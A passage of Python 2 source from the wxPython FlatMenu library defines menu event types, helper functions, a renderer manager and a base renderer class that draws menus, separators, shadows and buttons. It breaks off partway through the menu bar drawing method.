internally.\n``EVT_FLAT_MENU_ITEM_MOUSE_OUT`` Fires an event when the mouse leaves a `FlatMenuItem`.\n``EVT_FLAT_MENU_ITEM_MOUSE_OVER`` Fires an event when the mouse enters a `FlatMenuItem`.\n``EVT_FLAT_MENU_SELECTED`` Fires the `wx.EVT_MENU` event for `FlatMenu`.\n================================= ==================================================\n\n\nLicense And Version\n===================\n\nFlatMenu is distributed under the wxPython license.\n\nLatest Revision: <NAME> @ 21 Sep 2010, 23.00 GMT\n\nVersion 0.9.6\n\n\"\"\"\n\n__docformat__ = \"epytext\"\n__version__ = \"0.9.6\"\n\nimport wx\nimport math\nimport cStringIO\n\nimport wx.lib.colourutils as colourutils\n\nfrom fmcustomizedlg import FMCustomizeDlg\nfrom artmanager import ArtManager, DCSaver\nfrom fmresources import *\n \n# FlatMenu styles\nFM_OPT_IS_LCD = 1\n\"\"\" Use this style if your computer uses a LCD screen. \"\"\"\nFM_OPT_MINIBAR = 2\n\"\"\" Use this if you plan to use the toolbar only. \"\"\"\nFM_OPT_SHOW_CUSTOMIZE = 4\n\"\"\" Show \"customize link\" in the `More` menu, you will need to write your own handler. See demo. \"\"\"\nFM_OPT_SHOW_TOOLBAR = 8\n\"\"\" Set this option is you are planning to use the toolbar. \"\"\"\n\n# Some checking to see if we can draw shadows behind the popup menus\n# at least on Windows. *REQUIRES* <NAME>'s win32all extensions\n# and ctypes, on Windows obviouly. Mac and GTK have no shadows under\n# the menus, and it has been reported that shadows don't work well\n# on Windows 2000 and previous.\n\n_libimported = None\n_DELAY = 5000\n\nif wx.Platform == \"__WXMSW__\":\n osVersion = wx.GetOsVersion()\n # Shadows behind menus are supported only in XP\n if osVersion[1] == 5 and osVersion[2] == 1:\n try:\n import win32api\n import win32gui\n _libimported = \"MH\"\n except:\n try:\n import ctypes\n _libimported = \"ctypes\"\n except:\n pass\n else:\n _libimported = None\n\n# Simple hack, but I don't know how to make it work on Mac\n# I don't have Mac ;-)\n#if wx.Platform == \"__WXMAC__\":\n# try:\n# import ctypes\n# _carbon_dll = ctypes.cdll.LoadLibrary(r'/System/Frameworks/Carbon.framework/Carbon')\n# except:\n# _carbon_dll = None\n\n\n# FIXME: No way to get shadows on Windows with the original code...\n# May anyone share some suggestion on how to make it work??\n# Right now I am using win32api to create shadows behind wx.PopupWindow,\n# but this will result in *all* the popup windows in an application\n# to have shadows behind them, even the user defined wx.PopupWindow\n# that do not derive from FlatMenu.\n\nimport wx.aui as AUI\nAuiPaneInfo = AUI.AuiPaneInfo\n\ntry:\n import aui as PyAUI\n PyAuiPaneInfo = PyAUI.AuiPaneInfo\nexcept ImportError:\n pass\n\n# Check for the new method in 2.7 (not present in 2.6.3.3)\nif wx.VERSION_STRING < \"2.7\":\n wx.Rect.Contains = lambda self, point: wx.Rect.Inside(self, point)\n\n\nwxEVT_FLAT_MENU_DISMISSED = wx.NewEventType()\nwxEVT_FLAT_MENU_SELECTED = wx.wxEVT_COMMAND_MENU_SELECTED\nwxEVT_FLAT_MENU_ITEM_MOUSE_OVER = wx.NewEventType()\nwxEVT_FLAT_MENU_ITEM_MOUSE_OUT = wx.NewEventType()\n\nEVT_FLAT_MENU_DISMISSED = wx.PyEventBinder(wxEVT_FLAT_MENU_DISMISSED, 1)\n\"\"\" Used internally. \"\"\"\nEVT_FLAT_MENU_SELECTED = wx.PyEventBinder(wxEVT_FLAT_MENU_SELECTED, 2)\n\"\"\" Fires the wx.EVT_MENU event for `FlatMenu`. \"\"\"\nEVT_FLAT_MENU_ITEM_MOUSE_OUT = wx.PyEventBinder(wxEVT_FLAT_MENU_ITEM_MOUSE_OUT, 1)\n\"\"\" Fires an event when the mouse leaves a `FlatMenuItem`. \"\"\"\nEVT_FLAT_MENU_ITEM_MOUSE_OVER = wx.PyEventBinder(wxEVT_FLAT_MENU_ITEM_MOUSE_OVER, 1)\n\"\"\" Fires an event when the mouse enters a `FlatMenuItem`. \"\"\"\n\n\ndef GetAccelIndex(label):\n \"\"\"\n Returns the mnemonic index of the label and the label stripped of the ampersand mnemonic\n (e.g. 'lab&el' ==> will result in 3 and labelOnly = label).\n\n :param `label`: a string containining an ampersand. \n \"\"\"\n\n indexAccel = 0\n while True:\n indexAccel = label.find(\"&\", indexAccel)\n if indexAccel == -1:\n return indexAccel, label\n if label[indexAccel:indexAccel+2] == \"&&\":\n label = label[0:indexAccel] + label[indexAccel+1:]\n indexAccel += 1\n else:\n break\n\n labelOnly = label[0:indexAccel] + label[indexAccel+1:]\n\n return indexAccel, labelOnly\n\n\ndef ConvertToMonochrome(bmp):\n \"\"\"\n Converts a bitmap to monochrome colour.\n\n :param `bmp`: a valid `wx.Bitmap` object.\n \"\"\"\n\n mem_dc = wx.MemoryDC()\n shadow = wx.EmptyBitmap(bmp.GetWidth(), bmp.GetHeight())\n mem_dc.SelectObject(shadow)\n mem_dc.DrawBitmap(bmp, 0, 0, True)\n mem_dc.SelectObject(wx.NullBitmap)\n img = shadow.ConvertToImage()\n img = img.ConvertToMono(0, 0, 0)\n \n # we now have black where the original bmp was drawn,\n # white elsewhere\n shadow = wx.BitmapFromImage(img)\n shadow.SetMask(wx.Mask(shadow, wx.BLACK))\n\n # Convert the black to grey\n tmp = wx.EmptyBitmap(bmp.GetWidth(), bmp.GetHeight())\n col = wx.SystemSettings_GetColour(wx.SYS_COLOUR_BTNSHADOW)\n mem_dc.SelectObject(tmp)\n mem_dc.SetPen(wx.Pen(col))\n mem_dc.SetBrush(wx.Brush(col))\n mem_dc.DrawRectangle(0, 0, bmp.GetWidth(), bmp.GetHeight())\n mem_dc.DrawBitmap(shadow, 0, 0, True) # now contains a bitmap with grey where the image was, white elsewhere\n mem_dc.SelectObject(wx.NullBitmap)\n shadow = tmp\n shadow.SetMask(wx.Mask(shadow, wx.WHITE)) \n\n return shadow\n\n\n# ---------------------------------------------------------------------------- #\n# Class FMRendererMgr\n# ---------------------------------------------------------------------------- #\n\nclass FMRendererMgr(object):\n \"\"\"\n This class represents a manager that handles all the renderers defined. \n Every instance of this class will share the same state, so everyone can\n instantiate their own and a call to L{FMRendererMgr.SetTheme} anywhere will affect everyone. \n \"\"\"\n\n def __new__(cls, *p, **k):\n if not '_instance' in cls.__dict__:\n cls._instance = object.__new__(cls)\n return cls._instance \n\n\n def __init__(self):\n \"\"\" Default class constructor. \"\"\"\n \n # If we have already initialized don't do it again. There is only one \n # FMRendererMgr process-wide.\n\n if hasattr(self, '_alreadyInitialized'):\n return\n\n self._alreadyInitialized = True\n \n self._currentTheme = StyleDefault\n self._renderers = []\n self._renderers.append(FMRenderer())\n self._renderers.append(FMRendererXP())\n self._renderers.append(FMRendererMSOffice2007())\n self._renderers.append(FMRendererVista()) \n \n \n def GetRenderer(self):\n \"\"\" Returns the current theme's renderer. \"\"\"\n \n return self._renderers[self._currentTheme]\n \n \n def AddRenderer(self, renderer):\n \"\"\"\n Adds a user defined custom renderer.\n\n :param `renderer`: a class derived from L{FMRenderer}.\n \"\"\"\n \n lastRenderer = len(self._renderers)\n self._renderers.append(renderer)\n \n return lastRenderer\n\n \n def SetTheme(self, theme):\n \"\"\"\n Sets the current theme.\n\n :param `theme`: an integer specifying the theme to use.\n \"\"\"\n \n if theme < 0 or theme > len(self._renderers):\n raise ValueError(\"Error invalid theme specified.\")\n \n self._currentTheme = theme\n\n\n# ---------------------------------------------------------------------------- #\n# Class FMRenderer\n# ---------------------------------------------------------------------------- #\n\nclass FMRenderer(object):\n \"\"\"\n Base class for the L{FlatMenu} renderers. This class implements the common \n methods of all the renderers.\n \"\"\"\n \n def __init__(self):\n \"\"\" Default class constructor. \"\"\"\n\n self.separatorHeight = 5\n self.drawLeftMargin = False\n self.highlightCheckAndRadio = False\n self.scrollBarButtons = False # Display scrollbar buttons if the menu doesn't fit on the screen\n # otherwise default to up and down arrow menu items\n \n self.itemTextColourDisabled = ArtManager.Get().LightColour(wx.SystemSettings_GetColour(wx.SYS_COLOUR_GRAYTEXT), 30)\n \n # Background Colours\n self.menuFaceColour = wx.WHITE\n self.menuBarFaceColour = ArtManager.Get().LightColour(wx.SystemSettings_GetColour(wx.SYS_COLOUR_3DFACE), 80)\n \n self.menuBarFocusFaceColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_HIGHLIGHT)\n self.menuBarFocusBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_HIGHLIGHT)\n self.menuBarPressedFaceColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_HIGHLIGHT)\n self.menuBarPressedBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_HIGHLIGHT)\n \n self.menuFocusFaceColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_HIGHLIGHT)\n self.menuFocusBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_HIGHLIGHT)\n self.menuPressedFaceColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_HIGHLIGHT)\n self.menuPressedBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_HIGHLIGHT)\n \n self.buttonFaceColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_HIGHLIGHT)\n self.buttonBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_HIGHLIGHT)\n self.buttonFocusFaceColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_HIGHLIGHT)\n self.buttonFocusBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_HIGHLIGHT)\n self.buttonPressedFaceColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_HIGHLIGHT)\n self.buttonPressedBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_HIGHLIGHT)\n \n # create wxBitmaps from the xpm's\n self._rightBottomCorner = self.ConvertToBitmap(shadow_center_xpm, shadow_center_alpha)\n self._bottom = self.ConvertToBitmap(shadow_bottom_xpm, shadow_bottom_alpha)\n self._bottomLeft = self.ConvertToBitmap(shadow_bottom_left_xpm, shadow_bottom_left_alpha)\n self._rightTop = self.ConvertToBitmap(shadow_right_top_xpm, shadow_right_top_alpha)\n self._right = self.ConvertToBitmap(shadow_right_xpm, shadow_right_alpha)\n \n self._bitmaps = {}\n bmp = self.ConvertToBitmap(arrow_down, alpha=None)\n bmp.SetMask(wx.Mask(bmp, wx.Colour(0, 128, 128)))\n self._bitmaps.update({\"arrow_down\": bmp})\n\n bmp = self.ConvertToBitmap(arrow_up, alpha=None)\n bmp.SetMask(wx.Mask(bmp, wx.Colour(0, 128, 128)))\n self._bitmaps.update({\"arrow_up\": bmp})\n \n self._toolbarSeparatorBitmap = wx.NullBitmap\n self.raiseToolbar = False\n\n \n def SetMenuBarHighlightColour(self, colour):\n \"\"\"\n Set the colour to highlight focus on the menu bar.\n\n :param `colour`: a valid instance of `wx.Colour`.\n \"\"\"\n \n self.menuBarFocusFaceColour = colour\n self.menuBarFocusBorderColour = colour\n self.menuBarPressedFaceColour = colour\n self.menuBarPressedBorderColour= colour\n\n \n def SetMenuHighlightColour(self,colour):\n \"\"\"\n Set the colour to highlight focus on the menu.\n\n :param `colour`: a valid instance of `wx.Colour`.\n \"\"\"\n \n self.menuFocusFaceColour = colour\n self.menuFocusBorderColour = colour\n self.menuPressedFaceColour = colour\n self.menuPressedBorderColour = colour\n\n \n def GetColoursAccordingToState(self, state):\n \"\"\"\n Returns a `wx.Colour` according to the menu item state.\n\n :param `state`: one of the following bits:\n\n ==================== ======= ==========================\n Item State Value Description\n ==================== ======= ========================== \n ``ControlPressed`` 0 The item is pressed\n ``ControlFocus`` 1 The item is focused\n ``ControlDisabled`` 2 The item is disabled\n ``ControlNormal`` 3 Normal state\n ==================== ======= ==========================\n \n \"\"\"\n\n # switch according to the status \n if state == ControlFocus:\n upperBoxTopPercent = 95\n upperBoxBottomPercent = 50\n lowerBoxTopPercent = 40\n lowerBoxBottomPercent = 90\n concaveUpperBox = True\n concaveLowerBox = True\n \n elif state == ControlPressed:\n upperBoxTopPercent = 75\n upperBoxBottomPercent = 90\n lowerBoxTopPercent = 90\n lowerBoxBottomPercent = 40\n concaveUpperBox = True\n concaveLowerBox = True\n\n elif state == ControlDisabled:\n upperBoxTopPercent = 100\n upperBoxBottomPercent = 100\n lowerBoxTopPercent = 70\n lowerBoxBottomPercent = 70\n concaveUpperBox = True\n concaveLowerBox = True\n\n else:\n upperBoxTopPercent = 90\n upperBoxBottomPercent = 50\n lowerBoxTopPercent = 30\n lowerBoxBottomPercent = 75\n concaveUpperBox = True\n concaveLowerBox = True\n\n return upperBoxTopPercent, upperBoxBottomPercent, lowerBoxTopPercent, lowerBoxBottomPercent, \\\n concaveUpperBox, concaveLowerBox\n\n \n def ConvertToBitmap(self, xpm, alpha=None):\n \"\"\"\n Convert the given image to a bitmap, optionally overlaying an alpha\n channel to it.\n\n :param `xpm`: a list of strings formatted as XPM;\n :param `alpha`: a list of alpha values, the same size as the xpm bitmap.\n \"\"\"\n\n if alpha is not None:\n\n img = wx.BitmapFromXPMData(xpm)\n img = img.ConvertToImage()\n x, y = img.GetWidth(), img.GetHeight()\n img.InitAlpha()\n for jj in xrange(y):\n for ii in xrange(x):\n img.SetAlpha(ii, jj, alpha[jj*x+ii])\n \n else:\n\n stream = cStringIO.StringIO(xpm)\n img = wx.ImageFromStream(stream)\n \n return wx.BitmapFromImage(img)\n \n \n def DrawLeftMargin(self, item, dc, menuRect):\n \"\"\"\n Draws the menu left margin.\n\n :param `dc`: an instance of `wx.DC`;\n :param `menuRect`: the menu client rectangle.\n \"\"\"\n\n raise Exception(\"This style doesn't support Drawing a Left Margin\")\n\n \n def DrawToolbarSeparator(self, dc, rect):\n \"\"\"\n Draws a separator inside the toolbar in L{FlatMenuBar}.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the bitmap's client rectangle.\n \"\"\"\n \n # Place a separator bitmap\n bmp = wx.EmptyBitmap(rect.width, rect.height)\n mem_dc = wx.MemoryDC()\n mem_dc.SelectObject(bmp)\n mem_dc.SetPen(wx.BLACK_PEN)\n mem_dc.SetBrush(wx.BLACK_BRUSH)\n \n mem_dc.DrawRectangle(0, 0, bmp.GetWidth(), bmp.GetHeight())\n \n col = self.menuBarFaceColour\n col1 = ArtManager.Get().LightColour(col, 40)\n col2 = ArtManager.Get().LightColour(col, 70)\n \n mem_dc.SetPen(wx.Pen(col2))\n mem_dc.DrawLine(5, 0, 5, bmp.GetHeight())\n \n mem_dc.SetPen(wx.Pen(col1))\n mem_dc.DrawLine(6, 0, 6, bmp.GetHeight())\n \n mem_dc.SelectObject(wx.NullBitmap)\n bmp.SetMask(wx.Mask(bmp, wx.BLACK))\n \n dc.DrawBitmap(bmp, rect.x, rect.y, True)\n \n \n # assumption: the background was already drawn on the dc\n def DrawBitmapShadow(self, dc, rect, where=BottomShadow|RightShadow):\n \"\"\"\n Draws a shadow using background bitmap.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the bitmap's client rectangle;\n :param `where`: where to draw the shadow. This can be any combination of the\n following bits:\n\n ========================== ======= ================================\n Shadow Settings Value Description\n ========================== ======= ================================\n ``RightShadow`` 1 Right side shadow\n ``BottomShadow`` 2 Not full bottom shadow\n ``BottomShadowFull`` 4 Full bottom shadow\n ========================== ======= ================================\n \n \"\"\"\n \n shadowSize = 5\n\n # the rect must be at least 5x5 pixles\n if rect.height < 2*shadowSize or rect.width < 2*shadowSize:\n return\n\n # Start by drawing the right bottom corner\n if where & BottomShadow or where & BottomShadowFull:\n dc.DrawBitmap(self._rightBottomCorner, rect.x+rect.width, rect.y+rect.height, True)\n\n # Draw right side shadow\n xx = rect.x + rect.width\n yy = rect.y + rect.height - shadowSize\n\n if where & RightShadow:\n while yy - rect.y > 2*shadowSize:\n dc.DrawBitmap(self._right, xx, yy, True)\n yy -= shadowSize\n \n dc.DrawBitmap(self._rightTop, xx, yy - shadowSize, True)\n\n if where & BottomShadow:\n xx = rect.x + rect.width - shadowSize\n yy = rect.height + rect.y\n while xx - rect.x > 2*shadowSize:\n dc.DrawBitmap(self._bottom, xx, yy, True)\n xx -= shadowSize\n \n dc.DrawBitmap(self._bottomLeft, xx - shadowSize, yy, True)\n\n if where & BottomShadowFull:\n xx = rect.x + rect.width - shadowSize\n yy = rect.height + rect.y\n while xx - rect.x >= 0:\n dc.DrawBitmap(self._bottom, xx, yy, True)\n xx -= shadowSize\n \n dc.DrawBitmap(self._bottom, xx, yy, True)\n \n\n def DrawToolBarBg(self, dc, rect):\n \"\"\"\n Draws the toolbar background\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the toolbar's client rectangle.\n \"\"\"\n\n if not self.raiseToolbar:\n return\n\n dcsaver = DCSaver(dc)\n\n # fill with gradient\n colour = self.menuBarFaceColour\n \n dc.SetPen(wx.Pen(colour))\n dc.SetBrush(wx.Brush(colour))\n \n dc.DrawRectangleRect(rect)\n self.DrawBitmapShadow(dc, rect)\n\n \n def DrawSeparator(self, dc, xCoord, yCoord, textX, sepWidth):\n \"\"\"\n Draws a separator inside a L{FlatMenu}.\n\n :param `dc`: an instance of `wx.DC`;\n :param `xCoord`: the current x position where to draw the separator;\n :param `yCoord`: the current y position where to draw the separator;\n :param `textX`: the menu item label x position;\n :param `sepWidth`: the width of the separator, in pixels.\n \"\"\"\n \n dcsaver = DCSaver(dc)\n sepRect1 = wx.Rect(xCoord + textX, yCoord + 1, sepWidth/2, 1)\n sepRect2 = wx.Rect(xCoord + textX + sepWidth/2, yCoord + 1, sepWidth/2-1, 1)\n\n artMgr = ArtManager.Get()\n backColour = artMgr.GetMenuFaceColour()\n lightColour = wx.NamedColour(\"LIGHT GREY\")\n \n artMgr.PaintStraightGradientBox(dc, sepRect1, backColour, lightColour, False)\n artMgr.PaintStraightGradientBox(dc, sepRect2, lightColour, backColour, False) \n \n\n def DrawMenuItem(self, item, dc, xCoord, yCoord, imageMarginX, markerMarginX, textX, rightMarginX, selected=False):\n \"\"\"\n Draws the menu item.\n\n :param `item`: `FlatMenuItem` instance;\n :param `dc`: an instance of `wx.DC`;\n :param `xCoord`: the current x position where to draw the menu;\n :param `yCoord`: the current y position where to draw the menu;\n :param `imageMarginX`: the spacing between the image and the menu border;\n :param `markerMarginX`: the spacing between the checkbox/radio marker and\n the menu border;\n :param `textX`: the menu item label x position;\n :param `rightMarginX`: the right margin between the text and the menu border;\n :param `selected`: ``True`` if this menu item is currentl hovered by the mouse,\n ``False`` otherwise.\n \"\"\"\n \n borderXSize = item._parentMenu.GetBorderXWidth()\n itemHeight = item._parentMenu.GetItemHeight()\n menuWidth = item._parentMenu.GetMenuWidth()\n\n # Define the item actual rectangle area\n itemRect = wx.Rect(xCoord, yCoord, menuWidth, itemHeight)\n\n # Define the drawing area \n rect = wx.Rect(xCoord+2, yCoord, menuWidth - 4, itemHeight)\n\n # Draw the background\n backColour = self.menuFaceColour\n penColour = backColour\n backBrush = wx.Brush(backColour)\n leftMarginWidth = item._parentMenu.GetLeftMarginWidth()\n \n pen = wx.Pen(penColour)\n dc.SetPen(pen)\n dc.SetBrush(backBrush)\n dc.DrawRectangleRect(rect)\n\n # Draw the left margin gradient\n if self.drawLeftMargin:\n self.DrawLeftMargin(item, dc, itemRect)\n\n # check if separator\n if item.IsSeparator():\n # Separator is a small grey line separating between menu items. \n sepWidth = xCoord + menuWidth - textX - 1\n self.DrawSeparator(dc, xCoord, yCoord, textX, sepWidth)\n return\n \n # Keep the item rect\n item._rect = itemRect\n\n # Get the bitmap base on the item state (disabled, selected ..)\n bmp = item.GetSuitableBitmap(selected)\n \n # First we draw the selection rectangle\n if selected:\n self.DrawMenuButton(dc, rect.Deflate(1,0), ControlFocus)\n #copy.Inflate(0, menubar._spacer)\n\n if bmp.Ok():\n \n # Calculate the postion to place the image\n imgHeight = bmp.GetHeight()\n imgWidth = bmp.GetWidth()\n\n if imageMarginX == 0:\n xx = rect.x + (leftMarginWidth - imgWidth)/2\n else:\n xx = rect.x + ((leftMarginWidth - rect.height) - imgWidth)/2 + rect.height\n\n yy = rect.y + (rect.height - imgHeight)/2\n dc.DrawBitmap(bmp, xx, yy, True)\n \n if item.GetKind() == wx.ITEM_CHECK:\n \n # Checkable item\n if item.IsChecked():\n \n # Draw surrounding rectangle around the selection box\n xx = rect.x + 1\n yy = rect.y + 1\n rr = wx.Rect(xx, yy, rect.height-2, rect.height-2)\n \n if not selected and self.highlightCheckAndRadio:\n self.DrawButton(dc, rr, ControlFocus)\n\n dc.DrawBitmap(item._checkMarkBmp, rr.x + (rr.width - 16)/2, rr.y + (rr.height - 16)/2, True)\n\n if item.GetKind() == wx.ITEM_RADIO:\n \n # Checkable item\n if item.IsChecked():\n \n # Draw surrounding rectangle around the selection box\n xx = rect.x + 1\n yy = rect.y + 1\n rr = wx.Rect(xx, yy, rect.height-2, rect.height-2)\n\n if not selected and self.highlightCheckAndRadio:\n self.DrawButton(dc, rr, ControlFocus)\n \n dc.DrawBitmap(item._radioMarkBmp, rr.x + (rr.width - 16)/2, rr.y + (rr.height - 16)/2, True)\n\n # Draw text - without accelerators\n text = item.GetLabel()\n \n if text:\n\n font = wx.SystemSettings_GetFont(wx.SYS_DEFAULT_GUI_FONT)\n if selected:\n enabledTxtColour = colourutils.BestLabelColour(self.menuFocusFaceColour, bw=True)\n else:\n enabledTxtColour = colourutils.BestLabelColour(self.menuFaceColour, bw=True)\n disabledTxtColour = self.itemTextColourDisabled\n textColour = (item.IsEnabled() and [enabledTxtColour] or [disabledTxtColour])[0]\n\n dc.SetFont(font)\n w, h = dc.GetTextExtent(text)\n dc.SetTextForeground(textColour)\n\n if item._mnemonicIdx != wx.NOT_FOUND:\n \n # We divide the drawing to 3 parts\n text1 = text[0:item._mnemonicIdx]\n text2 = text[item._mnemonicIdx]\n text3 = text[item._mnemonicIdx+1:]\n\n w1, dummy = dc.GetTextExtent(text1)\n w2, dummy = dc.GetTextExtent(text2)\n w3, dummy = dc.GetTextExtent(text3)\n\n posx = xCoord + textX + borderXSize\n posy = (itemHeight - h)/2 + yCoord\n\n # Draw first part \n dc.DrawText(text1, posx, posy)\n\n # mnemonic \n if \"__WXGTK__\" not in wx.Platform:\n font.SetUnderlined(True)\n dc.SetFont(font)\n\n posx += w1\n dc.DrawText(text2, posx, posy)\n\n # last part\n font.SetUnderlined(False)\n dc.SetFont(font)\n posx += w2\n dc.DrawText(text3, posx, posy)\n \n else:\n \n w, h = dc.GetTextExtent(text)\n dc.DrawText(text, xCoord + textX + borderXSize, (itemHeight - h)/2 + yCoord)\n \n \n # Now draw accelerator\n # Accelerators are aligned to the right\n if item.GetAccelString():\n \n accelWidth, accelHeight = dc.GetTextExtent(item.GetAccelString())\n dc.DrawText(item.GetAccelString(), xCoord + rightMarginX - accelWidth, (itemHeight - accelHeight)/2 + yCoord)\n \n # Check if this item has sub-menu - if it does, draw \n # right arrow on the right margin\n if item.GetSubMenu():\n \n # Draw arrow \n rightArrowBmp = wx.BitmapFromXPMData(menu_right_arrow_xpm)\n rightArrowBmp.SetMask(wx.Mask(rightArrowBmp, wx.WHITE))\n\n xx = xCoord + rightMarginX + borderXSize \n rr = wx.Rect(xx, rect.y + 1, rect.height-2, rect.height-2)\n dc.DrawBitmap(rightArrowBmp, rr.x + 4, rr.y +(rr.height-16)/2, True)\n\n \n def DrawMenuBarButton(self, dc, rect, state):\n \"\"\"\n Draws the highlight on a FlatMenuBar\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the button's client rectangle;\n :param `state`: the button state;\n \"\"\"\n \n # switch according to the status\n if state == ControlFocus:\n penColour = self.menuBarFocusBorderColour\n brushColour = self.menuBarFocusFaceColour\n elif state == ControlPressed: \n penColour = self.menuBarPressedBorderColour\n brushColour = self.menuBarPressedFaceColour\n \n dcsaver = DCSaver(dc)\n dc.SetPen(wx.Pen(penColour))\n dc.SetBrush(wx.Brush(brushColour))\n dc.DrawRectangleRect(rect)\n\n\n def DrawMenuButton(self, dc, rect, state):\n \"\"\"\n Draws the highlight on a FlatMenu\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the button's client rectangle;\n :param `state`: the button state;\n \"\"\"\n \n # switch according to the status\n if state == ControlFocus:\n penColour = self.menuFocusBorderColour\n brushColour = self.menuFocusFaceColour\n elif state == ControlPressed: \n penColour = self.menuPressedBorderColour\n brushColour = self.menuPressedFaceColour\n \n dcsaver = DCSaver(dc)\n dc.SetPen(wx.Pen(penColour))\n dc.SetBrush(wx.Brush(brushColour))\n dc.DrawRectangleRect(rect)\n \n\n def DrawScrollButton(self, dc, rect, state):\n \"\"\"\n Draws the scroll button\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the button's client rectangle;\n :param `state`: the button state;\n \"\"\"\n \n if not self.scrollBarButtons:\n return\n\n colour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n colour = ArtManager.Get().LightColour(colour, 30)\n \n artMgr = ArtManager.Get()\n \n # Keep old pen and brush\n dcsaver = DCSaver(dc)\n \n # Define the rounded rectangle base on the given rect\n # we need an array of 9 points for it \n baseColour = colour\n\n # Define the middle points\n leftPt = wx.Point(rect.x, rect.y + (rect.height / 2))\n rightPt = wx.Point(rect.x + rect.width-1, rect.y + (rect.height / 2))\n\n # Define the top region\n top = wx.RectPP((rect.GetLeft(), rect.GetTop()), rightPt)\n bottom = wx.RectPP(leftPt, (rect.GetRight(), rect.GetBottom()))\n\n upperBoxTopPercent, upperBoxBottomPercent, lowerBoxTopPercent, lowerBoxBottomPercent, \\\n concaveUpperBox, concaveLowerBox = self.GetColoursAccordingToState(state)\n\n topStartColour = artMgr.LightColour(baseColour, upperBoxTopPercent)\n topEndColour = artMgr.LightColour(baseColour, upperBoxBottomPercent)\n bottomStartColour = artMgr.LightColour(baseColour, lowerBoxTopPercent)\n bottomEndColour = artMgr.LightColour(baseColour, lowerBoxBottomPercent)\n\n artMgr.PaintStraightGradientBox(dc, top, topStartColour, topEndColour)\n artMgr.PaintStraightGradientBox(dc, bottom, bottomStartColour, bottomEndColour)\n\n rr = wx.Rect(rect.x, rect.y, rect.width, rect.height)\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n\n frameColour = artMgr.LightColour(baseColour, 60)\n dc.SetPen(wx.Pen(frameColour))\n dc.DrawRectangleRect(rr)\n\n wc = artMgr.LightColour(baseColour, 80)\n dc.SetPen(wx.Pen(wc))\n rr.Deflate(1, 1)\n dc.DrawRectangleRect(rr)\n\n \n def DrawButton(self, dc, rect, state, colour=None):\n \"\"\"\n Draws a button\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the button's client rectangle;\n :param `state`: the button state;\n \"\"\"\n \n # switch according to the status\n if state == ControlFocus:\n if colour == None:\n penColour = self.buttonFocusBorderColour\n brushColour = self.buttonFocusFaceColour\n else:\n penColour = colour\n brushColour = ArtManager.Get().LightColour(colour, 75)\n \n elif state == ControlPressed: \n if colour == None:\n penColour = self.buttonPressedBorderColour\n brushColour = self.buttonPressedFaceColour\n else:\n penColour = colour\n brushColour = ArtManager.Get().LightColour(colour, 60)\n else:\n if colour == None:\n penColour = self.buttonBorderColour\n brushColour = self.buttonFaceColour\n else:\n penColour = colour\n brushColour = ArtManager.Get().LightColour(colour, 75)\n \n dcsaver = DCSaver(dc)\n dc.SetPen(wx.Pen(penColour))\n dc.SetBrush(wx.Brush(brushColour))\n dc.DrawRectangleRect(rect)\n\n\n def DrawMenuBarBackground(self, dc, rect):\n \"\"\"\n Draws the menu bar background colour according to the menubar.GetBackgroundColour\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the menu bar's client rectangle.\n \"\"\"\n\n dcsaver = DCSaver(dc)\n\n # fill with gradient\n colour = self.menuBarFaceColour\n\n dc.SetPen(wx.Pen(colour))\n dc.SetBrush(wx.Brush(colour))\n dc.DrawRectangleRect(rect)\n\n\n def DrawMenuBar(self, menubar, dc):\n \"\"\"\n Draws everything for L{FlatMenuBar}.\n\n :param `dc`: an instance of `wx.DC`.\n \"\"\"\n\n #artMgr = ArtManager.Get()\n fnt = wx.SystemSettings_GetFont(wx.SYS_DEFAULT_GUI_FONT)\n textColour = colourutils.BestLabelColour(menubar.GetBackgroundColour(), bw=True)\n highlightTextColour = colourutils.BestLabelColour(self.menuBarFocusFaceColour, bw=True)\n\n dc.SetFont(fnt)\n dc.SetTextForeground(textColour)\n \n clientRect = menubar.GetClientRect()\n\n self.DrawMenuBarBackground(dc, clientRect)\n\n padding, dummy = dc.GetTextExtent(\"W\") \n \n posx = 0\n posy = menubar._margin\n\n # ---------------------------------------------------------------------------\n # Draw as much items as we can if the screen is not wide enough, add all\n # missing items to a drop down menu\n # ---------------------------------------------------------------------------\n menuBarRect = menubar.GetClientRect()\n\n # mark all items as non-visibles at first\n for item in menubar._items:\n item.SetRect(wx.Rect())\n\n for item in menubar._items:\n\n # Handle accelerator ('&') \n title = item.GetTitle()\n\n fixedText = title\n location, labelOnly = GetAccelIndex(fixedText)\n \n # Get the menu item rect\n textWidth, textHeight = dc.GetTextExtent(fixedText)\n #rect = wx.Rect(posx+menubar._spacer/2, posy, textWidth, textHeight)\n rect = wx.Rect(posx+padding/2, posy, textWidth, textHeight)\n\n # Can we draw more??\n # the +DROP_DOWN_ARROW_WIDTH is the width of the drop down arrow\n if posx + rect.width + DROP_DOWN_ARROW_WIDTH >= menuBarRect.width:\n break\n \n # In this style the button highlight includes the menubar margin\n button_rect = wx.Rect(*rect)\n button_rect.height = menubar._menuBarHeight\n #button_rect.width = rect.width + menubar._spacer\n button_rect.width = rect.width + padding\n button_rect.x = posx \n button_rect.y = 0\n \n # Keep the item rectangle, will be used later in functions such\n # as 'OnLeftDown', 'OnMouseMove'\n copy = wx.Rect(*button_rect)\n #copy.Inflate(0, 